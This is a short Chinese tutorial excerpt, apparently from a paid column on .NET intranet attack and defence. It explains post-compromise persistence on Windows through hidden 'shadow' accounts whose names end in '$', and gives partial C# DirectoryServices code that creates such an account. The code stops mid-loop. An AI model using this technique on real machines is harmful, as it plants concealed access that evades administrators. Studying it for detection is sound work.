.NET 通过系统影子账户实现权限维持
01阅读须知
此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。
02基本介绍
03编码实现
在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 $ 符号,例如,admin$。通过这种方式创建的用户不会显示在 Windows 登录界面或命令行中,因此常用于维持目标权限阶段。下面,我们将详细介绍如何通过影子账户实现权限维持。
3.1 创建账户
在.NET中,我们可以使用System.DirectoryServices命名空间可以方便地管理用户和组。首先通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
协议中的 :表示目标计算机的名称,可以是本地计算机或远程计算机。:表示目录对象的类型,如 computer、user、group 等。:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");
接着,使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。
string username = user + "$"; string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; Random randrom = new Random((int)DateTime.Now.Ticks); string password = ""; for (int i = 0; i
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。